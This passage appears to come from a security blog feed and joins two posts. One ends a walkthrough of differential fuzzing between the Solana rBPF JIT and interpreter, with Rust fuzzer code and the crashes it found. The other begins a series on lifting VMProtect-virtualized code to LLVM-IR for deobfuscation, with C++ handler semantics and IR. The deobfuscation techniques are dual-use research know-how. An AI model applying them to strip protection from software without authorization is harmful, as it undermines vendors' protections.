 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      6|                        }
 1062|     11|                    }
 1063|       |
 1064|     17|                    if calls {
 1065|     11|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     11|                        }
 1073|      6|                    }
 1074|       |
 1075|     17|                    if !resolved {
 1076|     17|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     11|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     39|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     39|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|  2.16M|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|     33|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|  2.16M|            }
 1106|       |        }
 1107|       |
 1108|    683|        Err(EbpfError::ExecutionOverrun(
 1109|    683|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    683|        ))
 1111|    886|    }

Now we see that jump and call instructions are actually used, and that we execute the content of the interpreter loop significantly more despite having approximately the same amount of successful calls to the interpreter function. From this, we can infer that not only are more programs successfully executed, but also that, of those executed, they tend to have more valid instructions executed overall.

While this isn’t hitting every branch, it’s now hitting significantly more – and with much more interesting values.

The development of this version of the fuzzer took about an hour, so we’re at a total of one hour of development.

JIT and differential fuzzing

Now that we have a fuzzer which can generate lots of inputs that are actually interesting to us, we can develop a fuzzer which can test both JIT and the interpreter against each other. But how do we even test them against each other?

Picking inputs, outputs, and configuration

As the definition of pseudo-oracle says: we need to check if the alternate program (for JIT, the interpreter, and vice versa), when provided with the same “input” provides the same “output”. So what inputs and outputs do we have?

For inputs, there are three notable things we’ll want to vary:

  • The config which determines how the VM should execute (what features and such)
  • The BPF program to be executed, which we’ll generate like we do in “smart”
  • The initial memory of the VMs

Once we’ve developed our inputs, we’ll also need to think of our outputs:

  • The “return state”, the exit code itself or the error state
  • The number of instructions executed (e.g., did the JIT program overrun?)
  • The final memory of the VMs

Then, to execute both JIT and the interpreter, we’ll take the following steps:

  • The same steps as the first fuzzers:
    • Use the rBPF verification pass (called “check”) to make sure that the VM will accept the input program
    • Initialise the memory, the syscalls, and the entrypoint
    • Create the executable data
  • Then prepare to perform the differential testing
    • JIT compile the BPF code (if it fails, fail quietly)
    • Initialise the interpreted VM
    • Initialise the JIT VM
    • Execute both the interpreted and JIT VMs
    • Compare return state, instructions executed, and final memory, and panic if any do not match.

Writing the fuzzer

As before, I’ve split this up into more manageable chunks so you can read them one at a time outside of their context before trying to interpret their final context.

Step 1: Defining our inputs
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    ... snip ...
    prog: FuzzProgram,
    mem: Vec<u8>,
}
Step 2: Setting up the VM
fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    ... snip ...
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        // See step 3
    }
});
Step 3: Executing our input and comparing output
fuzz_target!(|data: FuzzData| {
    // see step 2

    if Executable::jit_compile(&mut executable).is_ok() {
        // see step 2

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});
Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![no_main]

use std::collections::BTreeMap;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, Instruction, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    exit_dst: u8,
    exit_src: u8,
    exit_off: i16,
    exit_imm: i64,
    prog: FuzzProgram,
    mem: Vec<u8>,
}

fuzz_target!(|data: FuzzData| {
    let mut prog = make_program(&data.prog, Arch::X64);
    prog.exit()
        .set_dst(data.exit_dst)
        .set_src(data.exit_src)
        .set_off(data.exit_off)
        .set_imm(data.exit_imm)
        .push();
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut interp_mem = data.mem.clone();
    let mut jit_mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    if Executable::jit_compile(&mut executable).is_ok() {
        let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
        let mut interp_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
                .unwrap();
        let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
        let mut jit_vm =
            EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
                .unwrap();

        let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
        let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
        let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
        if interp_res != jit_res {
            panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
        }
        if interp_res.is_ok() {
            // we know jit res must be ok if interp res is by this point
            if interp_meter.remaining != jit_meter.remaining {
                panic!(
                    "Expected {} insts remaining, but got {}",
                    interp_meter.remaining, jit_meter.remaining
                );
            }
            if interp_mem != jit_mem {
                panic!(
                    "Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
                    interp_mem, jit_mem
                );
            }
        }
    }
});

Theoretically, an up-to-date version is available in the rBPF repo.

And, with that, we have our fuzzer! This part of the fuzzer took approximately three hours to implement (largely due to finding several issues with the fuzzer and debugging them along the way).

At this point, we were about six hours in. I turned on the fuzzer and waited:

$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1

And the crashes began. Two main bugs appeared:

  1. A panic when there was an error in interpreter, but not JIT, when writing to a particular address (crash in 15 minutes)
  2. A AddressSanitizer crash from a memory leak when an error occurred just after the instruction limit was past by the JIT’d program (crash in two hours)

To read the details of these bugs, continue to Part 2.

Tickling VMProtect with LLVM: Part 1

By: fvrmatteo
8 September 2021 at 23:00

This series of posts delves into a collection of experiments I did in the past while playing around with LLVM and VMProtect. I recently decided to dust off the code, organize it a bit better and attempt to share some knowledge in such a way that could be helpful to others. The macro topics are divided as follows:

Foreword

First, let me list some important events that led to my curiosity for reversing obfuscation solutions and attack them with LLVM.

  • In 2017, a group of friends (SmilingWolf, mrexodia and xSRTsect) and I, hacked up a Python-based devirtualizer and solved a couple of VMProtect challenges posted on the Tuts4You forum. That was my first experience reversing a known commercial protector, and taught me that writing compiler-like optimizations, especially built on top of a not so well-designed IR, can be an awful adventure.
  • In 2018, a person nicknamed RYDB3RG, posted on Tuts4You a first insight on how LLVM optimizations could be beneficial when optimising VMProtected code. Although the easy example that was provided left me with a lot of questions on whether that approach would have been hassle-free or not.
  • In 2019, at the SPRO conference in London, Peter and I presented a paper titled “SATURN - Software Deobfuscation Framework Based On LLVM”, proposing, you guessed it, a software deobfuscation framework based on LLVM and describing the related pros/cons.

The ideas documented in this post come from insights obtained during the aforementioned research efforts, fine-tuned specifically to get a good-enough output prior to the recompilation/decompilation phases, and should be considered as stable as a proof-of-concept can be.

Before anyone starts a war about which framework is better for the job, pause a few seconds and search the truth deep inside you: every framework has pros/cons and everything boils down to choosing which framework to get mad at when something doesn’t work. I personally decided to get mad at LLVM, which over time proved to be a good research playground, rich with useful analysis and optimizations, consistently maintained, sporting a nice community and deeply entangled with the academic and industry worlds.

With that said, it’s crystal clear that LLVM is not born as a software deobfuscation framework, so scratching your head for hours, diving into its internals and bending them to your needs is a minimum requirement to achieve your goals.

I apologize in advance for the ample presence of long-ish code snippets, but I wanted the reader to have the relevant C++ or LLVM-IR code under their nose while discussing it.

Lifting

The following diagram shows a high-level overview of all the actions and components described in the upcoming sections. The blue blocks represent the inputs, the yellow blocks the actions, the white blocks the intermediate information and the purple block the output.

Lifting pipeline

Enough words or code have been spent by others (1, 2, 3, 4) describing the virtual machine architecture used by VMProtect, so the next paragraph will quickly sum up the involved data structures with an eye on some details that will be fundamental to make LLVM’s job easier. To further simplify the explanation, the following paragraphs will assume the handling of x64 code virtualized by VMProtect 3.x. Drawing a parallel with x86 is trivial.

Liveness and aliasing information

Let’s start by saying that many deobfuscation tools are completely disregarding, or at best unsoundly handling, any information related to the aliasing properties bound to the memory accesses present in the code under analysis. LLVM on the contrary is a framework that bases a lot of its optimization passes on precise aliasing information, in such a way that the semantic correctness of the code is preserved. Additionally LLVM also has strong optimization passes benefiting from precise liveness information, that we absolutely want to take advantage of to clean any unnecessary stores to memory that are irrelevant after the execution of the virtualized code.

This means that we need to pause for a moment to think about the properties of the data structures involved in the code that we are going to lift, keeping in mind how they may alias with each other, for how long we need them to hold their values and if there are safe assumptions that we can feed to LLVM to obtain the best possible result.

A suboptimal representation of the data structures is most likely going to lead to suboptimal lifted code because the LLVM’s optimizations are going to be hindered by the lack of information, erring on the safe side to keep the code semantically correct. Way worse though, is the case where an unsound assumption is going to lead to lifted code that is semantically incorrect.

At a high level we can summarize the data-related virtual machine components as follows:

  • 30 virtual registers: used internally by the virtual machine. Their liveness scope starts after the VmEnter, when they are initialized with the incoming host execution context, and ends before the VmExit(s), when their values are copied to the outgoing host execution context. Therefore their state should not persist outside the virtualized code. They are allocated on the stack, in a memory chunk that can only be accessed by specific VmHandlers and is therefore guaranteed to be inaccessible by an arbitrary stack access executed by the virtualized code. They are independent from one another, so writing to one won’t affect the others. During the virtual execution they can be accessed as a whole or in subregisters. From now on referred to as VmRegisters.

  • 19 passing slots: used by VMProtect to pass the execution state from one VmBlock to another. Their liveness starts at the epilogue of a VmBlock and ends at the prologue of the successor VmBlock(s). They are allocated on the stack and, while alive, they are only accessed by the push/pop instructions at the epilogue/prologue of each VmBlock. They are independent from one another and always accessed as a whole stack slot. From now on referred to as VmPassingSlots.

  • 16 general purpose registers: pushed to the stack during the VmEnter, loaded and manipulated by means of the VmRegisters and popped from the stack during the VmExit(s), reflecting the changes made to them during the virtual execution. Their liveness scope starts before the VmEnter and ends after the VmExit(s), so their state must persist after the execution of the virtualized code. They are independent from one another, so writing to one won’t affect the others. Contrarily to the VmRegisters, the general purpose registers are always accessed as a whole. The flags register is also treated as the general purpose registers liveness-wise, but it can be directly accessed by some VmHandlers.

  • 4 general purpose segments: the FS and GS general purpose segment registers have their liveness scope matching with the general purpose registers and the underlying segments are guaranteed not to overlap with other memory regions (e.g. SS, DS). On the contrary, accesses to the SS and DS segments are not always guaranteed to be distinct with each other. The liveness of the SS and DS segments also matches with the general purpose registers. A little digression: in the past I noticed that some projects were lifting the stack with an intra-virtual function scope which, in my experience, may cause a number of problems if the virtualized code is not a function with a well-formed stack frame, but rather a shellcode that pops some value pushed prior to entering the virtual machine or pushes some value that needs to live after exiting the virtual machine.

Helper functions

With the information gathered from the previous section, we can proceed with defining some basic LLVM-IR structures that will then be used to lift the individual VmHandlers, VmBlocks and VmFunctions.

When I first started with LLVM, my approach to generate the needed structures or instruction chains was through the IRBuilder class, but I quickly realized that I was spending more time looking at the documentation to generate the required types and instructions than actually focusing on designing them. Then, while working on SATURN, it became obvious that following Remill’s approach is a winning strategy, at least for the initial high level design phase. In fact their idea is to implement the structures and semantics in C++, compile them to LLVM-IR and dynamically load the generated bitcode file to be used by the lifter.

Without further ado, the following is a minimal implementation of a stub function that we can use as a template to lift a VmStub (virtualized code between a VmEnter and one or more VmExit(s)):

struct VirtualRegister final {
  union {
    alignas(1) struct {
      uint8_t b0;
      uint8_t b1;
      uint8_t b2;
      uint8_t b3;
      uint8_t b4;
      uint8_t b5;
      uint8_t b6;
      uint8_t b7;
    } byte;
    alignas(2) struct {
      uint16_t w0;
      uint16_t w1;
      uint16_t w2;
      uint16_t w3;
    } word;
    alignas(4) struct {
      uint32_t d0;
      uint32_t d1;
    } dword;
    alignas(8) uint64_t qword;
  } __attribute__((packed));
} __attribute__((packed));

using rref = size_t &__restrict__;

extern "C" uint8_t RAM[0];
extern "C" uint8_t GS[0];
extern "C" uint8_t FS[0];

extern "C"
size_t HelperStub(
  rref rax, rref rbx, rref rcx,
  rref rdx, rref rsi, rref rdi,
  rref rbp, rref rsp, rref r8,
  rref r9, rref r10, rref r11,
  rref r12, rref r13, rref r14,
  rref r15, rref flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR,
  rref vsp, rref vip,
  VirtualRegister *__restrict__ vmregs,
  size_t *__restrict__ slots);

extern "C"
size_t HelperFunction(
  rref rax, rref rbx, rref rcx,
  rref rdx, rref rsi, rref rdi,
  rref rbp, rref rsp, rref r8,
  rref r9, rref r10, rref r11,
  rref r12, rref r13, rref r14,
  rref r15, rref flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[19] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the next address(es)
  return vip;
}

The VirtualRegister structure is meant to represent a VmRegister, divided in smaller sub-chunks that are going to be accessed by the VmHandlers in ways that don’t necessarily match the access to the subregisters on the x64 architecture. As an example, virtualizing the 64 bits bswap instruction will yield VmHandlers accessing all the word sub-chunks of a VmRegister. The __attribute__((packed)) is meant to generate a structure without padding bytes, matching the exact data layout used by a VmRegister.

The rref definition is a convenience type adopted in the definition of the arguments used by the helper functions, that, once compiled to LLVM-IR, will generate a pointer parameter with a noalias attribute. The noalias attribute is hinting to the compiler that any memory access happening inside the function that is not dereferencing a pointer derived from the pointer parameter, is guaranteed not to alias with a memory access dereferencing a pointer derived from the pointer parameter.

The RAM, GS and FS array definitions are convenience zero-length arrays that we can use to generate indexed memory accesses to a generic memory slot (stack segment, data segment), GS segment and FS segment. The accesses will be generated as getelementptr instructions and LLVM will automatically treat a pointer with base RAM as not aliasing with a pointer with base GS or FS, which is extremely convenient to us.

The HelperStub function prototype is a convenience declaration that we’ll be able to use in the lifter to represent a single VmBlock. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer, three key values (KEY_STUB, RET_ADDR, REL_ADDR) pushed by each VmEnter, the virtual stack pointer, the virtual program counter, the VmRegisters pointer and the VmPassingSlots pointer.

The HelperFunction function definition is a convenience template that we’ll be able to use in the lifter to represent a single VmStub. It accepts as parameters the sequence of general purpose register pointers, the flags register pointer and the three key values (KEY_STUB, RET_ADDR, REL_ADDR) pushed by each VmEnter. The body is declaring an array of 30 VmRegisters, an array of 19 VmPassingSlots, the virtual stack pointer and the virtual program counter. Once compiled to LLVM-IR they’ll be turned into alloca declarations (stack frame allocations), guaranteed not to alias with other pointers used into the function and that will be automatically released at the end of the function scope. As a convenience we are setting the REL_ADDR to 0, but that can be dynamically set to the proper REL_ADDR provided by the user according to the needs of the binary under analysis. Last but not least, we are issuing the call to the HelperStub function, passing all the needed parameters and obtaining as output the updated instruction pointer, that, in turn, will be returned by the HelperFunction too.

The global variable and function declarations are marked as extern "C" to avoid any form of name mangling. In fact we want to be able to fetch them from the dynamically loaded LLVM-IR Module using functions like getGlobalVariable and getFunction.

The compiled and optimized LLVM-IR code for the described C++ definitions follows:

%struct.VirtualRegister = type { %union.anon }
%union.anon = type { i64 }
%struct.anon = type { i8, i8, i8, i8, i8, i8, i8, i8 }

@RAM = external local_unnamed_addr global [0 x i8], align 1
@GS = external local_unnamed_addr global [0 x i8], align 1
@FS = external local_unnamed_addr global [0 x i8], align 1

declare i64 @HelperStub(i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64, i64, i64, i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), %struct.VirtualRegister*, i64*) local_unnamed_addr

define i64 @HelperFunction(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
  %vmregs = alloca [30 x %struct.VirtualRegister], align 16
  %slots = alloca [30 x i64], align 16
  %vip = alloca i64, align 8
  %0 = bitcast [30 x %struct.VirtualRegister]* %vmregs to i8*
  call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %0, i8 0, i64 240, i1 false)
  %1 = bitcast [30 x i64]* %slots to i8*
  call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %1, i8 0, i64 240, i1 false)
  %2 = bitcast i64* %vip to i8*
  store i64 0, i64* %vip, align 8
  %arraydecay = getelementptr inbounds [30 x %struct.VirtualRegister], [30 x %struct.VirtualRegister]* %vmregs, i64 0, i64 0
  %arraydecay1 = getelementptr inbounds [30 x i64], [30 x i64]* %slots, i64 0, i64 0
  %call = call i64 @HelperStub(i64* nonnull align 8 dereferenceable(8) %rax, i64* nonnull align 8 dereferenceable(8) %rbx, i64* nonnull align 8 dereferenceable(8) %rcx, i64* nonnull align 8 dereferenceable(8) %rdx, i64* nonnull align 8 dereferenceable(8) %rsi, i64* nonnull align 8 dereferenceable(8) %rdi, i64* nonnull align 8 dereferenceable(8) %rbp, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %r8, i64* nonnull align 8 dereferenceable(8) %r9, i64* nonnull align 8 dereferenceable(8) %r10, i64* nonnull align 8 dereferenceable(8) %r11, i64* nonnull align 8 dereferenceable(8) %r12, i64* nonnull align 8 dereferenceable(8) %r13, i64* nonnull align 8 dereferenceable(8) %r14, i64* nonnull align 8 dereferenceable(8) %r15, i64* nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 0, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* nonnull %arraydecay, i64* nonnull %arraydecay1)
  ret i64 %call
}

Semantics of the handlers

We can now move on to the implementation of the semantics of the handlers used by VMProtect. As mentioned before, implementing them directly at the LLVM-IR level can be a tedious task, so we’ll proceed with the same C++ to LLVM-IR logic adopted in the previous section.

The following selection of handlers should give an idea of the logic adopted to implement the handlers’ semantics.

STACK_PUSH

To access the stack using the push operation, we define a templated helper function that takes the virtual stack pointer and value to push as parameters.

template <typename T> __attribute__((always_inline)) void STACK_PUSH(size_t &vsp, T value) {
  // Update the stack pointer
  vsp -= sizeof(T);
  // Store the value
  std::memcpy(&RAM[vsp], &value, sizeof(T));
}

We can see that the virtual stack pointer is decremented using the byte size of the template parameter. Then we proceed to use the std::memcpy function to execute a safe type punning store operation accessing the RAM array with the virtual stack pointer as index. The C++ implementation is compiled with -O3 optimizations, so the function will be inlined (as expected from the always_inline attribute) and the std::memcpy call will be converted to the proper pointer type cast and store instructions.

STACK_POP

As expected, also the stack pop operation is defined as a templated helper function that takes the virtual stack pointer as parameter and returns the popped value as output.

template <typename T> __attribute__((always_inline)) T STACK_POP(size_t &vsp) {
  // Fetch the value
  T value = 0;
  std::memcpy(&value, &RAM[vsp], sizeof(T));
  // Undefine the stack slot
  T undef = UNDEF<T>();
  std::memcpy(&RAM[vsp], &undef, sizeof(T));
  // Update the stack pointer
  vsp += sizeof(T);
  // Return the value
  return value;
}

We can see that the value is read from the stack using the same std::memcpy logic explained above, an undefined value is written to the current stack slot and the virtual stack pointer is incremented using the byte size of the template parameter. As in the previous case, the -O3 optimizations will take care of inlining and lowering the std::memcpy call.

ADD

Being a stack machine, we know that it is going to pop the two input operands from the top of the stack, add them together, calculate the updated flags and push the result and the flags back to the stack. There are four variations of the addition handler, meant to handle 8/16/32/64 bits operands, with the peculiarity that the 8 bits case is really popping 16 bits per operand off the stack and pushing a 16 bits result back to the stack to be consistent with the x64 push/pop alignment rules.

From what we just described the only thing we need is the virtual stack pointer, to be able to access the stack.

// ADD semantic

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool AF(T lhs, T rhs, T res) {
  return AuxCarryFlag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool PF(T res) {
  return ParityFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool ZF(T res) {
  return ZeroFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool SF(T res) {
  return SignFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool CF_ADD(T lhs, T rhs, T res) {
  return Carry<tag_add>::Flag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool OF_ADD(T lhs, T rhs, T res) {
  return Overflow<tag_add>::Flag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
void ADD_FLAGS(size_t &flags, T lhs, T rhs, T res) {
  // Calculate the flags
  bool cf = CF_ADD(lhs, rhs, res);
  bool pf = PF(res);
  bool af = AF(lhs, rhs, res);
  bool zf = ZF(res);
  bool sf = SF(res);
  bool of = OF_ADD(lhs, rhs, res);
  // Update the flags
  UPDATE_EFLAGS(flags, cf, pf, af, zf, sf, of);
}

template <typename T>
__attribute__((always_inline))
void ADD(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Initialize the operands
  T op1 = 0;
  T op2 = 0;
  // Fetch the operands
  if (isByte) {
    op1 = Trunc(STACK_POP<uint16_t>(vsp));
    op2 = Trunc(STACK_POP<uint16_t>(vsp));
  } else {
    op1 = STACK_POP<T>(vsp);
    op2 = STACK_POP<T>(vsp);
  }
  // Calculate the add
  T res = UAdd(op1, op2);
  // Calculate the flags
  size_t flags = 0;
  ADD_FLAGS(flags, op1, op2, res);
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(res));
  } else {
    STACK_PUSH<T>(vsp, res);
  }
  // 7. Save the flags
  STACK_PUSH<size_t>(vsp, flags);
}

DEFINE_SEMANTIC_64(ADD_64) = ADD<uint64_t>;
DEFINE_SEMANTIC(ADD_32) = ADD<uint32_t>;
DEFINE_SEMANTIC(ADD_16) = ADD<uint16_t>;
DEFINE_SEMANTIC(ADD_8) = ADD<uint8_t>;

We can see that the function definition is templated with a T parameter that is internally used to generate the properly-sized stack accesses executed by the STACK_PUSH and STACK_POP helpers defined above. Additionally we are taking care of truncating and zero extending the special 8 bits case. Finally, after the unsigned addition took place, we rely on Remill’s semantically proven flag computations to calculate the fresh flags before pushing them to the stack.

The other binary and arithmetic operations are implemented following the same structure, with the correct operands access and flag computations.

PUSH_VMREG

This handler is meant to fetch the value stored in a VmRegister and push it to the stack. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister slot. Therefore the function arguments are going to be the virtual stack pointer and the value of the VmRegister. The template is additionally defining the size of the pushed value and the offset from the VmRegister slot base.

template <size_t Size, size_t Offset>
__attribute__((always_inline)) void PUSH_VMREG(size_t &vsp, VirtualRegister vmreg) {
  // Update the stack pointer
  vsp -= ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
  // Select the proper element of the virtual register
  if constexpr (Size == 64) {
    std::memcpy(&RAM[vsp], &vmreg.qword, sizeof(uint64_t));
  } else if constexpr (Size == 32) {
    if constexpr (Offset == 0) {
      std::memcpy(&RAM[vsp], &vmreg.dword.d0, sizeof(uint32_t));
    } else if constexpr (Offset == 1) {
      std::memcpy(&RAM[vsp], &vmreg.dword.d1, sizeof(uint32_t));
    }
  } else if constexpr (Size == 16) {
    if constexpr (Offset == 0) {
      std::memcpy(&RAM[vsp], &vmreg.word.w0, sizeof(uint16_t));
    } else if constexpr (Offset == 1) {
      std::memcpy(&RAM[vsp], &vmreg.word.w1, sizeof(uint16_t));
    } else if constexpr (Offset == 2) {
      std::memcpy(&RAM[vsp], &vmreg.word.w2, sizeof(uint16_t));
    } else if constexpr (Offset == 3) {
      std::memcpy(&RAM[vsp], &vmreg.word.w3, sizeof(uint16_t));
    }
  } else if constexpr (Size == 8) {
    if constexpr (Offset == 0) {
      uint16_t byte = ZExt(vmreg.byte.b0);
      std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
    } else if constexpr (Offset == 1) {
      uint16_t byte = ZExt(vmreg.byte.b1);
      std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
    }
    // NOTE: there might be other offsets here, but they were not observed
  }
}

DEFINE_SEMANTIC(PUSH_VMREG_8_LOW) = PUSH_VMREG<8, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_8_HIGH) = PUSH_VMREG<8, 1>;
